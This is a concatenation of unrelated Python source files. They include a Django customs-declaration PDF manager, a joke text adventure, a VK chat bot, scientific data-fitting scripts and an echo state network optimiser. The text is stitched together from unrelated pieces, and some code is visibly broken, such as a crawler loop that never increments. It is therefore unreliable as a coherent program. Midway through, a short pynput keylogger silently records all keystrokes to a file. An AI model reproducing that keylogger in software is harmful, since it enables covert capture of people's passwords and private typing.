from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse, HttpResponseRedirect, StreamingHttpResponse
from .models import CustomsDeclaration
from .forms import UploadCustomsDeclaration, XMLRequestForm
from django.contrib.auth.decorators import login_required
import re, os, random
import zipfile, io, datetime
import PyPDF2
from django.core.files import File
from django.conf import settings
from django.utils.encoding import smart_str

from .forms import EditCustomsDeclarationForm

def test(request, file_name):
    return HttpResponse(file_name)

def customs_file_save_location():
    return 'customs_declaration'
def custom_zip_file_folder_name():
    return 'zip_files'

@login_required
def upload(request):
    if request.method == 'POST':
        uploadform = UploadCustomsDeclaration(request.POST, request.FILES,)
        if uploadform.is_valid():
            cust_decl_regex = re.compile('\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d\s*\d')

            upload_date = uploadform.cleaned_data["upload_date"]
            cus_file_save_folder = customs_file_save_location()

            for file in request.FILES.getlist('customs_file'):

                pdfReader = PyPDF2.PdfFileReader(file)

                for pageNum in range(0, pdfReader.numPages):
                    pageObj = pdfReader.getPage(pageNum)
                    text = pageObj.extractText()
                    correct_name = False
                    customs_number = ''

                    # Search for Customs Declaration Number
                    cust_decl_re_results = re.search(cust_decl_regex, text)

                    if cust_decl_re_results != None:
                        customs_number = cust_decl_re_results.group(0).replace(' ', '')
                        customs_number = '1100000' + customs_number[-5:]
                        correct_name = True
                    else:
                        d = datetime.datetime.now()
                        d_year = str(d.year)
                        d_month = str(d.month)
                        d_day = str(d.day)
                        d_hour = str(d.hour)
                        d_min = str(d.minute)
                        d_sec = str(d.second)
                        d_microsec = str(d.microsecond)
                        customs_number = '00' + d_year + d_month + d_day + d_hour + d_min + d_sec + d_microsec

                    pdfWriter = PyPDF2.PdfFileWriter()
                    pdfWriter.addPage(pageObj)

                    filename = customs_number + '.pdf'

                    pdfOutputFile = open(os.path.join(settings.MEDIA_ROOT, cus_file_save_folder, filename), 'wb')
                    pdfWriter.write(pdfOutputFile)
                    customs_declaration = CustomsDeclaration(filename=filename,
                                                             customs_number=customs_number,
                                                             correct_name=correct_name,
                                                             upload_date=upload_date,)
                    customs_declaration.save()

                    pdfOutputFile.close()
    else:
        uploadform = UploadCustomsDeclaration()
    return render(
        request,
        'customs_list/upload.html',
        context={
            "uploadform": uploadform,
        }
    )

def download_zip_date_file(request, year, month, day):
    customs_list = CustomsDeclaration.objects.filter(upload_date__year=year,
                                                           upload_date__month=month,
                                                           upload_date__day=day,)
    zip_filename = year + '_' + month + '_' + day + '.zip'
    cus_file_save_folder = customs_file_save_location()
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, 'w') as zf:

        for c in customs_list:
            filename = c.filename
            pdf_path = os.path.join(settings.MEDIA_ROOT, cus_file_save_folder, filename)
            zf.write(pdf_path, filename)

    response = HttpResponse(buffer.getvalue())
    response['mimetype'] = "application/x-zip-compressed"
    response['Content-Disposition'] = 'attachment; filename=%s' % zip_filename
    return response

def download_customs_pdf(request, file_name, view_pdf=False):
    cus_file_save_folder = customs_file_save_location()

    path_to_file = os.path.join(settings.MEDIA_ROOT, cus_file_save_folder, file_name)
    response = HttpResponse()
    response['Content-Length'] = os.path.getsize(os.path.join(settings.MEDIA_ROOT, cus_file_save_folder, file_name))
    response['Content-Type'] = 'application/pdf'
    if view_pdf:
        response['Content-Disposition'] = 'inline; filename=%s' % file_name
    else:
        response['Content-Disposition'] = 'attachment; filename=%s' % file_name
    response['X-Accel-Redirect'] = "/media/" +  cus_file_save_folder + '/' + file_name
    return response

def view_customs_pdf(request, file_name):
    return download_customs_pdf(request, file_name, view_pdf=True)

def list_all(request):
    customs_all_list = CustomsDeclaration.objects.order_by('filename')
    return render(
        request,
        'customs_list/view_files.html',
        context={
            'customs_list': customs_all_list,
        }
    )

def list_date(request, year=None, month=None, day=None):
    day_list = None
    year_dic = None
    if year != None and month != None and day != None:
        customs_list = CustomsDeclaration.objects.filter(upload_date__year=year,
                                                         upload_date__month=month,
                                                         upload_date__day=day,).order_by('filename')
        return render(
            request,
            'customs_list/view_files.html',
            context={
                'customs_list': customs_list,
                'year': year,
                'day': day,
                'month': month,
            }
        )
    else:
        if year == None or month==None:
            year_dic = {}
            year_query_list = CustomsDeclaration.objects.dates("upload_date", "year")
            for y in year_query_list:
                cur_year = y.year
                month_query_list = CustomsDeclaration.objects.filter(upload_date__year=cur_year).dates("upload_date", "month")
                month_list = []
                for q in month_query_list:
                    month_list.append(q.month)
                year_dic[cur_year] = month_list
        else:
            day_list = []
            query_list = CustomsDeclaration.objects.filter(upload_date__year=year, upload_date__month=month).dates("upload_date", "day")
            for q in query_list:
                day_list.append(q.day)

        return render(
            request,
            'customs_list/view_dates.html',
            context={
                'year_dic': year_dic,
                'day_list': day_list,
                'day': day,
                'year': year,
                'month': month,
            }
        )

def edit_list(request):
    customs_edit_list = CustomsDeclaration.objects.filter(correct_name=False)
    return render(
        request,
        'customs_list/view_files.html',
        context={
            'customs_list': customs_edit_list,
        }
    )

def delete(request):
    form = XMLRequestForm(request.POST)
    message = ''
    if form.is_valid():
        command = form.cleaned_data['command']
        filename = form.cleaned_data['filename']
        if request.user.is_authenticated:
            custdecl_inst = CustomsDeclaration.objects.get(filename=filename)
            custdecl_inst.delete()
            message = filename
        else:
            message = 0
    return HttpResponse(message)

def edit_cust_dec(request, filename):
    queryset = CustomsDeclaration.objects.filter(filename=filename)

    cust_dec_inst = get_object_or_404(queryset)

    if request.method == 'POST':
        cust_dec_editform = EditCustomsDeclarationForm(request.POST)
        if cust_dec_editform.is_valid():

            customs_number = cust_dec_editform.cleaned_data["customs_number"]
            customs_query = CustomsDeclaration.objects.filter(customs_number=customs_number)

            prev_url = request.session["prev_url"]

            # # Means that the PDF with the name already exists
            # if len(customs_query) != 0:
            #     cust_dec_inst.delete()
            #     return HttpResponseRedirect(prev_url)

            cust_dec_inst.edit(
                customs_number=customs_number,
                               )
            return HttpResponseRedirect(prev_url)
    else:
        # upload_date = cust_dec_inst.upload_date
        prev_url = request.META.get('HTTP_REFERER')
        request.session["prev_url"] = prev_url
        cust_dec_editform = EditCustomsDeclarationForm()

    return render(request,
                  'customs_list/cust_dec_edit.html',
                  context={
                      'filename': filename,
                      "form": cust_dec_editform},
                  )


import time

intro = "Hi! You will help the little boy businessman Mark Zuckerman to find out if his new project will be successful."
idea = "A young computer genius named Mark Zuckerman started thinking about an idea for creating a famous website."
is_able = "Do you think Mark has all what it takes?"
not_able = "Having burned through 20-billion-dollar for his crapshoot project, Mark decided to open a really cool animal shelter project and called it MuzzleBook."
go_ahead = "Mark Zuckerman asked his school friend Elon Must advise if to roll the dice investing in social network and Elon said: no way."
asking_Elon = "Should Mark go ahead for social media business if Elon said no way?"
go_ahead_again = "Mark does not listen to Elon's warning. And started work on his social media project."
meta_project = "After having lost investors Mark decided to change project name and calls it Meta-worse."
to_continue = "Will he have success?"
meta_worse_continue = "Thanks for helping Mark out! After another billion spent, Mark receives a message from Elon asking if Mark wants to buy from him network called Titter"
titter = 'Mark purchases Titter. He makes it!'
try_again = "Should he try get more networks?"
hookup_gram = "Mark gets new network HookUpGram: HUG"
hookup_gram_details = "As it is only used by people for dating - business does not bring revenue"
quit_hookup_gram = "Does Mark have to close HookUpGram?"
yes_quit_hookup_gram = "Mark closes business."
no_quit_hookup_gram = "Mark stays there for good but investors run to new successfull business - Roma - a really cool inventor"

def yes_or_no():
    condition_to_run = False
    while condition_to_run == False:
        output=input("Say yes or no: ")
        if (output == 'Yes') or (output == 'yes'):
            return(True)
            condition_to_run = True
        elif (output == 'No') or (output == 'no'):
                return(False)
                condition_to_run = True
        else:
                print("Please write more clear yes or no.")

def project_prospects():
    keep_running = False
    print("Mark needs to choose a project to work on. What to choose: Meta, Titter or Hug (HookUpGram).")
    while keep_running == False:
        decision = input("Which one is more promising?")
        if (decision == "Meta") or (decision == 'meta'):
            keep_running = True
            print(meta_project)
            print(to_continue)
            if yes_or_no():
                print(meta_worse_continue)
            else:
                print(not_able)
        elif (decision == 'Titter') or (decision == 'titter'):
            print(titter)
            keep_running = True
        elif (decision == 'Hug') or (decision == 'hug'):
            keep_running = True
            print(hookup_gram)
            print(hookup_gram_details)
            print(quit_hookup_gram)
            if yes_or_no():
                print(yes_quit_hookup_gram)
                print(try_again)
                if yes_or_no():
                    print("Mark tries again. Although he has to lay off all employees")
                    keep_running = False
                else:
                    print(not_able)
            else:
                print(no_quit_hookup_gram)
        else:
            print("This option does not excist. Please try again.")

def mark_business():
    print(intro)
    time.sleep(2)
    print(idea)
    time.sleep(3)
    print(is_able)
    if not yes_or_no():
        print(not_able)
    else:
        print(go_ahead)
        print(asking_Elon)
        if not yes_or_no():
            print(not_able)
        else:
            print(go_ahead_again)
            project_prospects()
    time.sleep(3)

mark_business()


import vk_api
from bot import Bot
from vk_api.longpoll import VkLongPoll, VkEventType
import os

def write_msg(user_id, message):
    vk.method('messages.send', {'user_id': user_id,
                                'message': message, 'random_id': 0})

def get_key():
    f = open("vk_api_key.txt", "r")
    if(f.readline().strip() == "#KEY"):
        return f.readline()

token = get_key()
print(token)
vk = vk_api.VkApi(token=token)
longpoll = VkLongPoll(vk)

def main():
    for event in longpoll.listen():

        if event.type == VkEventType.MESSAGE_NEW:

            if event.to_me:

                print("New message: ")
                print(f"Form me by: {event.user_id}", end=" ")

                bot = Bot(event.user_id)
                msg = bot.new_message(event.text)
                if(event.text.upper() == "EXIT VLADO PLAVSIC A-07-18"):
                    exit()
                write_msg(event.user_id, msg)

                print('Text: ', event.text)

if __name__ == "__main__":
    main()


from accounts.models import Payment, CustomUser, Card
from django.core.management.base import BaseCommand, CommandError
import datetime
from dateutil.relativedelta import relativedelta

class Command(BaseCommand):
    help = 'Pay for the most recently dued pending payment.'

    def add_arguments(self, parser):
        parser.add_argument('username', type=str,
                            help='Please indicate your username.')

    def handle(self, *args, **options):
        name = options['username']
        try:
            user = CustomUser.objects.get(username=name)
        except CustomUser.DoesNotExist:
            raise CommandError('User "%s" does not exist' % name)

        card_objs = Card.objects.filter(holder=user)
        payments = Payment.objects.none()
        if card_objs:
            for card_obj in card_objs:
                payments = payments | Payment.objects.filter(
                    pmt_method=card_obj.card_num, pmt_status='PD')
        else:
            self.stdout.write("Please register a card first .")
        if payments:
            pmt_to_pay = payments.order_by('pmt_date')[0]
            if datetime.date.today() == pmt_to_pay.pmt_date.date():
                if pmt_to_pay.pmt_method is not None:
                    pmt_to_pay.pmt_status = 'PA'
                    if payments.count() > 1: # more payments to pay
                        user.sub_edate = payments.order_by('pmt_date')[1]

                    else: # paid all payments within the end date
                        next_edate = pmt_to_pay.pmt_date \
                                                  + relativedelta(years=1)
                        if user.pmt_option == 'M':
                            next_edate = pmt_to_pay.pmt_date \
                                         + relativedelta(months=1)
                        pmt_edate = pmt_to_pay.edate
                        user.sub_edate = min(pmt_edate, next_edate)
                    pmt_to_pay.save()
                    user.save()
                    self.stdout.write(self.style.SUCCESS(
                        'Payment successfully made.'))
                else:
                    self.stdout.write("Please register a card first .")
            elif datetime.date.today() > pmt_to_pay.pmt_date.date():
                user.is_subscribed = False
                user.pmt_option = 'N'
                user.save()
                self.stdout.write("You have overdue payments. "
                                  "Please reactivate your subscription.")
            else:
                self.stdout.write(f'No payments are due at the moment. Your '
                                  f'next payment is due '
                                  f'{pmt_to_pay.pmt_date.date()}')
        else:
            self.stdout.write("No pending payments to be made in your account.")


import random
from enum import Enum

class Character:
    def __init__(self, name, stats, hp, skills: list):
        self.name = name
        self.hp = hp
        self.stats_str = stats[0]
        self.stats_dex = stats[1]
        self.stats_con = stats[2]
        self.stats_int = stats[3]
        self.stats_wis = stats[4]
        self.stats_chm = stats[5]
        self.skills = skills
        print("A '{0}' has been born, with {1}hp!".format(name,hp))

    def get_hit(self, damage):
        self.hp -= damage
        print("{0} has recieved {1} damage!".format(self.name, damage))
        if self.hp <= 0:
            self.hp = 0
            print("{0} has been defeated!")

    def attack(self):
        dice = random.randint(1, 12)
        damage = self.stats_str + dice
        return damage

class Element(Enum):
    PHYSICAL = 1
    FIRE = 2
    COLD = 3
    SHOCK = 3
    ACID = 4

class Skill:
    def __init__(self, name: str, element: Element, damage: int, mp_cost: int):
        self.name = name
        self.element = element
        self.damage = damage
        self.mp_cost = mp_cost


# Top application for running multiple crawlers

from AWS.aws_access import AWSAccess
from Parsers.seeking_alpha_parser import Seeking
from Parsers.nasdaq_parser import Nasdaq
from Parsers.fidelity_parser import Fidelity
import sys

def runCrawler(parser, pageCount, headUrl, tailUrl='', multiplier=1):

    # Iterator
    i = 1

    # Begin crawling
    while i < pageCount:

        # Insert page number to the link
        target = headUrl + str(i * multiplier) + tailUrl

        # Run crawler
        parser.extractArticle(target)

    # Get news result
    result = parser.getResult()

    print("result : {}".format(result))

    _printResult(result)

def _printResult(article):

    # AWS Comprehend API class
    comprehend = AWSAccess()

    # Start analistics with AWS Comprehend API
    for elem in article:
        print("in for")
        print(comprehend.getResult(elem))

if __name__ in '__main__':

    # Page count to read from the webpage
    pageCount = 2

    stock_name = sys.argv[1]

    # Nasdaq page
    # nasdaq = Nasdaq()
    stock_link = 'https://www.nasdaq.com/symbol/' + stock_name + '/news-headlines?page='
    # runCrawler(nasdaq, stock_link, pageCount)

    # Seeking Alpha page
    # seeking = Seeking()
    stock_link = 'https://economictimes.indiatimes.com/topics_all.cms?type=article&query=' + stock_name + '&curpg='
    # runCrawler(seeking, stock_link, pageCount)

    # Fidelity page
    fidelity = Fidelity()
    stock_link_head = 'https://search.fidelity.com/search/getNewsSearchResults?question=' + stock_name + '&originatingpage=NSRP&NSRPpageSelected='
    stock_link_tail = ''
    # runCrawler(fidelity, pageCount)


import random  #取得乱数

while True:
    n = random.randint(1, 100)
    if n % 13 ==0:
        print(n)
        continue

    #若 n 等于11的倍数就停止(break)
    if n % 11 == 0:
        break


class Ex234(object):
    def isPalindrome0(self, head):
        """
        :type head: ListNode
        :rtype: bool
        """
        A = []
        head0 = head
        while head0 != None:
            A.append(head0)
            head0 = head0.next
        A.reverse()
        head0 = head
        i = 0
        while head0 != None:
            if head0.val != A[i].val:
                return False
            head0 = head0.next
            i += 1
        return True
    '''
    def isPalindrome(self, head):
        rev = None
        slow = fast = head
        while fast and fast.next:
            fast = fast.next.next
            rev, rev.next, slow = slow, rev, slow.next
        if fast:
            slow = slow.next
        while rev and rev.val == slow.val:
            slow = slow.next
            rev = rev.next
        return not rev
    '''


from __future__ import annotations
from typing import Tuple

import numpy as np

from pizza import Pizza
from utils.param_function import ParamFunction

class Human:
    """Representation of relevant human desires/preferences."""

    def __init__(
        self,
        desired_params: list,
        importance_weights: list,
        basis_functions: list,
        beta_coefficient: float,
    ) -> Human:
        """Initialize human representation."""
        self._desired_params = np.array(desired_params).reshape(1, -1)
        self._importance_weights = np.array(importance_weights).reshape(1, -1)
        self._coeff = beta_coefficient
        self.param_fn = ParamFunction(basis_functions)

    @classmethod
    def from_dicts(
        cls, params: dict, importances: dict, basis_funcs: list, beta: float
    ):
        """Initialize a human representation from dictionaries."""
        param_vals = []
        importance_vals = []
        for b in basis_funcs:
            param_vals.append(params[b])
            importance_vals.append(importances[b])

        human = cls(param_vals, importance_vals, basis_funcs, beta)
        return human

    @property
    def desired_params(self) -> np.ndarray:
        """Return the human's desired feature params."""
        return np.array(self._desired_params, copy=True)

    @property
    def importance_weights(self) -> np.ndarray:
        """Return the human's importance weights."""
        return np.array(self._importance_weights, copy=True)

    @property
    def coeff(self) -> np.ndarray:
        """Return the human's desired feature params."""
        return self._coeff

    def choose_option(
        self, to_choose_from: np.ndarray
    ) -> Tuple[int, np.ndarray]:
        """Select from list of options based on human's preference."""
        # 1.) Compute the differences between each option and
        #     the human's desired features:
        if type(to_choose_from[0]) == Pizza:
            option_params = np.array(
                list(map(self.param_fn.compute_params, to_choose_from))
            )
        else:
            option_params = to_choose_from
        features = self.feature_function(option_params)
        ## 2.) Normalize the features relative across the options:
        # normalized_features = features / np.sum(features, axis=0)
        # if len(normalized_features.shape) <= 1:
        #    normalized_features = normalized_features.reshape(-1, 1)
        ## 3.) Take into account the human's importance weights:
        # weighted_features_compared = self.importance_weights.dot(
        #    normalized_features.T
        # )
        ## 4.) Exponentiate the negation of the results:
        # relative_preference = np.exp(-1 * weighted_features_compared)
        rewards = np.array(list(map(self.compute_reward, features)))
        # 5.) Choose the option which maximizes human's reward:
        choice = np.argmax(rewards)
        # 6.) See if the option is above or below some standard of goodness:
        # meets_standard = check_good_enough(features_compared)
        return choice, rewards

    def compute_reward(self, option: Tuple[Pizza, np.ndarray]) -> float:
        """Compute human's liking given some features."""
        if type(option) == Pizza:
            option_params = self.param_fn(option)
            features = self.feature_function.compute_params(
                option_params
            ).reshape(1, -1)
        else:
            features = option.reshape(1, -1)
        weighted_features = self.importance_weights.dot(features.T)
        reward = np.exp(-self.coeff * weighted_features)
        return reward[0, 0]

    def feature_function(self, query_params: np.ndarray) -> np.ndarray:
        """Subtract and combine.

        ::return:
            ::feature_mats: Per-option features in particle params.
        """
        feature_mats = np.zeros(
            (
                query_params.shape[0],
                self.desired_params.shape[0],
                query_params.shape[1],
            )
        )
        # 1.) Separate each option's feature params
        #     and stack them for efficient computation:
        for i in range(query_params.shape[0]):
            q_option = np.repeat(
                np.reshape(query_params[i, :], (1, query_params.shape[1])),
                self.desired_params.shape[0],
                axis=0,
            )
            # 1a.) Compute the element-wise magnitudes between each option
            #      in a query and each possible reward function model:
            feature_mats[i, :, :] = np.abs(q_option - self.desired_params)
        if len(feature_mats.shape) > 2:
            feature_mats = feature_mats.squeeze()
        return feature_mats

    def check_good_enough(pizza_features: np.ndarray) -> bool:
        """Compare this pizza to the human's desired pizza."""
        pass


import cv2
from glob import glob
from os import path

def split_image(file_name):
    print(file_name)
    img = cv2.imread(file_name, cv2.IMREAD_UNCHANGED)
    image_width, image_height, image_channels = img.shape
    width_pieces = 2
    height_pieces = 2
    piece_width = image_width / width_pieces
    piece_height = image_height / height_pieces
    index = 0
    w_index = 0
    for w_itr in range(0, image_width, piece_width):
        h_index = 0
        for h_itr in range(0, image_height, piece_height):
            x1 = w_index * piece_width
            x2 = (w_index + 1) * piece_width
            y1 = h_index * piece_height
            y2 = (h_index + 1) * piece_height
            piece_i = img[x1:x2, y1:y2]
            base_file_name = path.basename(file_name)
            suffix_i = "_" + str(index) + ".jpg"
            base_file_name = base_file_name.replace(".JPG", suffix_i)
            out_file_name = path.dirname(file_name) + "/split/" + base_file_name
            print(out_file_name)
            cv2.imwrite(out_file_name, piece_i)
            h_index += 1
            index += 1
        w_index += 1

for file_name in glob('Images/pipes.jpg'):
    split_image(file_name)


#Vanilla python module
import logging
#'External' library
from pynput.keyboard import Key, Listener

#Log directory
log_dir=""

logging.basicConfig(filename=(log_dir + "keylog.txt"), level=logging.DEBUG, format='%(asctime)s : %(message)s:' )

def on_press(key):
	logging.info(str(key))
	if key == Key.esc:
		return False

with Listener(on_press=on_press) as listener:
	listener.join()


#!/usr/bin/python3

import operator
import re
import requests

def count_words(subreddit, counter, after=None):
    url = "https://www.reddit.com/r/{}/hot.json".format(subreddit)
    req = requests.get(url,
                       headers={'user-agent': 'Mozilla/5.0'},
                       allow_redirects=False,
                       params={'after': after})
    if type(counter) is list:
        dic = {}
        for word in counter:
            dic[word] = 0
        counter = dic
    if req.status_code != 200:
        return None
    json_req = req.json()
    for word in counter.keys():
        for post in json_req["data"]["children"]:
            regex = re.compile("^{}$".format(word), re.I)
            for w in post["data"]["title"].split():
                if regex.findall(w):
                    counter[word] += 1
    if json_req["data"]["after"] is not None:
        count_words(subreddit, counter, json_req["data"]["after"])
    else:
        values_sort = sorted(counter.items(), key=operator.itemgetter(1),
                             reverse=True)
        for value in enumerate(values_sort):
            if counter[value[1][0]] != 0:
                print("{}: {}".format(value[1][0], counter[value[1][0]]))


import os

import mafunction as f
from mafunction import input_folder_path
from paralleling import do_paralleling

def processing_func(file_path):
    print('    Processing %s ...' %os.path.basename(file_path), end=' ')
    im_roi = f.im_process(file_path)
    fig_hist, hist_bgr = f.get_rgb_histogram(im_roi)
    f.save_histfig(fig_hist, file_path)
    f.export_hist_data(hist_bgr, file_path)
    print('OK')

if __name__ == '__main__':
    print('Running pine resin color analysis ...')
    file_paths = [ os.path.join(input_folder_path, fname) for fname in os.listdir(input_folder_path)]
    _, elapsed_time = do_paralleling(file_paths, processing_func)
    print(f'DONE ({elapsed_time} seconds)')


import numpy as np
import csv
import matplotlib.pyplot as plt
from scipy.optimize import curve_fit

def Sort2Array(x, y):
    temp = np.array([x, y]).T
    temp = temp[temp[:, 0].argsort()].T
    return temp[0], temp[1]

def Sort3Array(x, y, z):
    temp = np.array([x, y, z]).T
    temp = temp[temp[:, 0].argsort()].T
    return temp[0], temp[1], temp[2]

def Line(x, a, b):
    return a*x + b

def Inverte_line(y, a, b):
    return (y - b) / a

filename = "./imstats.dat"
header = 6  # number of header rows
exptime = np.array([])
signal_level = np.array([])
sigma_signal_level = np.array([])

diff_exptime = np.array([])
diff_variance = np.array([])

with open(filename, newline="") as csvfile:
    a = csv.reader(csvfile, delimiter='\t')
    # a is a object containing row arrays
    for row in a:
        #  print(header)
        if header <= 0:
            if "diff" not in row[0]:
                # only orig images
                row[0] = row[0].replace("FLATLIN_", "")
                row[0] = row[0].replace("-1", "")
                row[0] = row[0].replace(".fits", "")
                row[0] = row[0].replace("s", "")
                exptime = np.append(exptime, float(row[0]))

                # get rid of space
                for i in range(1, len(row)):
                    # except the file name
                    row[i] = row[i].replace(" ", "")

                # read mean value
                signal_level = np.append(signal_level, float(row[5]))
                sigma_signal_level = np.append(sigma_signal_level,
                                               float(row[6]))
                #  print(row)
            else:
                #  print(row)
                # only diff images
                row[0] = row[0].replace("FLATLIN_", "")
                row[0] = row[0].replace("-1", "")
                row[0] = row[0].replace("_diff.fits", "")
                row[0] = row[0].replace("s", "")
                diff_exptime = np.append(diff_exptime, float(row[0]))

                for i in range(1, len(row)):
                    # except the file name
                    row[i] = row[i].replace(" ", "")
                diff_variance = np.append(diff_variance, float(row[6]))

        header -= 1

exptime, signal_level, sigma_signal_level = Sort3Array(exptime,
                                                       signal_level,
                                                       sigma_signal_level)

#  print(exptime)
#  print(signal_level)
#  print(sigma_signal_level)

k = 0
color="tab:blue"
plt.figure(num=k, figsize=(10, 7))
plt.errorbar(exptime, signal_level, yerr=sigma_signal_level,
             fmt="o", label="data", color=color)

# fit
mask = (exptime < 1.05)
fit_exptime = exptime[mask]
fit_signal_level = signal_level[mask]
fit_sigma_signal_level = sigma_signal_level[mask]
#  print(fit_exptime, fit_signal_level)
popt, perr = curve_fit(Line, fit_exptime,
                       fit_signal_level, sigma=fit_sigma_signal_level)
print("Best fit parameter and covariance matrix:", popt, perr)

x = np.linspace(np.amin(fit_exptime) - 0.1, np.amax(fit_exptime) + 0.1, 100)
plt.plot(x, Line(x, *popt), label="fit", color=color)

ax = plt.gca()
plt.xlabel("exposure time/s")
ax.set_ylabel("mean pixel values / ADU", color=color)

# residual
color = "tab:red"
pred_signal = Line(exptime, *popt)
res = pred_signal - signal_level
ax2 = ax.twinx()
ax2.scatter(exptime, res, color=color)
ax2.tick_params(axis="y", labelcolor=color)
ax2.set_ylabel("residual / ADU", color=color)

ax.legend(loc=2)
plt.savefig("exp_mean.pdf", bbox_inches="tight")
plt.close(k)
k += 1

pixel_max = np.amax(signal_level)
#  print(pixel_max)
exptime_max = Inverte_line(pixel_max, *popt)
jac = - 1/popt[0] * np.array([exptime_max, 1])
sigma_exptime_max = jac.dot(perr.dot(jac.transpose()))
print("Maximal exposure time=", exptime_max, "+-", sigma_exptime_max)

##################################################################
# difference
##################################################################

diff_exptime, diff_variance = Sort2Array(diff_exptime, diff_variance)
diff_variance = diff_variance**2

signal_for_diff = np.array([])
sigma_signal_for_diff = np.array([])
length = (len(signal_level))/2
for i in range(0, int(length)):
    mean = np.mean([signal_level[2*i], signal_level[2*i+1]])
    signal_for_diff = np.append(signal_for_diff, mean)

    std = np.std([signal_level[2*i], signal_level[2*i+1]])
    sigma_signal_for_diff = np.append(sigma_signal_for_diff, std)

#  print(signal_for_diff)
sigma_signal_level = sigma_signal_level[::2]

# fit
mask = (diff_variance > 0)  # mask for only linear region
popt, perr = curve_fit(Line, signal_for_diff[mask], diff_variance[mask])
print("Fit parameters and covariance matrix", popt, perr)

plt.figure(num=k, figsize=(10, 7))

x = np.linspace(np.amin(signal_for_diff)-1000, np.amax(signal_for_diff), 100)
plt.errorbar(signal_for_diff, diff_variance, color="black", label="data",
             xerr=sigma_signal_level, fmt="o")
plt.plot(x, Line(x, *popt), color="black", label="linear fit")

mask_signal, mask_variance = signal_for_diff[mask], diff_variance[mask]
#  anno_point = (mask_signal[-1], mask_variance[-1]-3)
#  anno_text = (mask_signal[-1], mask_variance[-1]-50)
#  plt.annotate("saturation", xy=anno_point, xytext=anno_text,
             #  arrowprops=dict(facecolor='black', shrink=0.05))
inv_mask_signal = signal_for_diff[~mask]

sat = np.mean([inv_mask_signal[0], mask_signal[-1]])
sigma_sat = np.fabs(inv_mask_signal[0] - mask_signal[-1])
#  print(signal_for_diff)
print("Saturation at:", sat, "+-", sigma_sat, "ADU")

plt.xscale("log")
plt.xlabel("signal of original images / ADU")
plt.yscale("log")
plt.ylabel(r"variance of difference frames / ADU$^2$")
plt.legend()
ax = plt.gca()
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)

plt.savefig("diff.pdf", bbox_inches="tight")
plt.close(k)
k += 1

gain = 2/popt[0]
sigma_gain = np.fabs( 2 / popt[0]**2 * np.sqrt(np.diag(perr))[0])
print("Gain = ", gain, "+-", sigma_gain, "e/ADU")

full_well = gain * sat
sigma_full_well = full_well * np.sqrt((sigma_gain/gain)**2 + (sigma_sat/sat)**2)
print("Full well capacity =", full_well, "+-", sigma_full_well, "e-")


import contextlib
import glob
import json
import math
import os
import pickle
import sys
import warnings
from typing import Dict, List

import numpy as np
import optuna
from optuna.trial import FrozenTrial

from simulai.metrics import DeterminationCoeff
from simulai.models import ModelPool
from simulai.regression import EchoStateNetwork
from simulai.utilities import make_temp_directory

from ._cloud_object_storage import CloudObjectStorage

def _compute_damped_residual_block(resblock_damping, esn_input_size, target_ix):
    A = np.zeros((1, esn_input_size), dtype=float)
    A[0, target_ix] = 1 - resblock_damping
    return A

class ObjectiveESNIndependent:
    def __init__(
        self,
        train_data: np.ndarray = None,
        train_data_aux: np.ndarray = None,
        validation_data: np.ndarray = None,
        validation_data_aux: np.ndarray = None,
        target_ix: int = None,
        base_model_path: str = None,
        esn_override_configs: Dict = None,
        reservoir_config_space: Dict = None,
        pool_template: str = None,
    ):
        self.train_data = train_data
        self.train_data_aux = train_data_aux
        self.validation_data = validation_data
        self.validation_data_aux = validation_data_aux
        self.target_ix = target_ix
        self.base_model_path = base_model_path
        self.pool_template = None
        self.set_pool_template(pool_template)

        if esn_override_configs is None:
            esn_override_configs = dict()
        self.esn_override_configs = esn_override_configs

        self.reservoir_config_space = reservoir_config_space
        if self.reservoir_config_space is None:
            self.reservoir_config_space = self._default_reservoir_config_space

        self._pool_ix = ModelPool(
            config={
                "template": pool_template,
                "n_inputs": self._pool_n_inputs,
                "n_auxiliary": self.train_data_aux.shape[1],
                "n_outputs": self.train_data.shape[1],
            },
            model_type="EchoStateNetwork",
        )

        self.instability_penalty = 100

    @staticmethod
    def get_model_ids(base_model_path):
        ids = [
            os.path.basename(os.path.splitext(m)[0])
            for m in glob.glob(os.path.join(base_model_path, "*.pkl"))
        ]
        ids = sorted(ids, key=lambda p: int(p.split("_")[-1]))
        return ids

    def set_pool_template(self, pool_template):
        assert pool_template in [
            "independent_series",
            "no_communication_series",
        ], f"pool_template={self.pool_template} is not recognized"
        self.pool_template = pool_template

    @property
    def _default_reservoir_config_space(self):
        return {
            "radius": [0.1, 1.2],
            "sigma": [0.1, 1.2],
            "exp_beta": [-100, -1],
            "leak_rate": [0, 1],
            "activation": ["tanh"],
            "tau": [0, 1],
            "transformation": ["T1"],
            "resblock_damping": [0.0, 1.0],
            "estimate_bias_transition": [False, True],
            "estimate_linear_transition": [False, True],
            "input_augmented_reservoir": [False, True],
            "model_id": self.get_model_ids(self.base_model_path),
        }

    def optuna_objective(self, trial: optuna.Trial):
        float_vars = [
            "radius",
            "sigma",
            "exp_beta",
            "leak_rate",
            "tau",
            "resblock_damping",
        ]
        float_config = {
            fv: trial.suggest_float(fv, *self.reservoir_config_space[fv])
            for fv in float_vars
            if fv in self.reservoir_config_space
        }

        categorical_vars = [
            "activation",
            "transformation",
            "model_id",
            "estimate_bias_transition",
            "estimate_linear_transition",
            "input_augmented_reservoir",
        ]
        categorical_config = {
            cv: trial.suggest_categorical(cv, self.reservoir_config_space[cv])
            for cv in categorical_vars
            if cv in self.reservoir_config_space
        }

        configs = {**float_config, **categorical_config}
        return self.objective(configs)

    def get_esn_model_instance(
        self,
    ) -> EchoStateNetwork:
        return self._pool_ix.get_model_instance(index=self.target_ix)

    @property
    def _pool_n_inputs(self):
        return self.train_data.shape[1] + self.train_data_aux.shape[1]

    @property
    def _esn_n_inputs(self):
        if self.pool_template == "independent_series":
            return self.train_data.shape[1] + self.train_data_aux.shape[1]
        elif self.pool_template == "no_communication_series":
            return 1 + self.train_data_aux.shape[1]
        else:
            raise RuntimeError(f"pool_template={self.pool_template} is not recognized")

    def check_stability(self):
        esn = self.get_esn_model_instance()
        trainable_variables = esn.trainable_variables

        if self.pool_template == "independent_series":
            self_ix = self.target_ix
        elif self.pool_template == "no_communication_series":
            self_ix = 0
        else:
            raise RuntimeError(f"pool_template={self.pool_template} is not recognized")

        A_ix = 0
        if trainable_variables["A"] is not None:
            A_ix = trainable_variables["A"][0, self_ix]

        aug_ix = 0
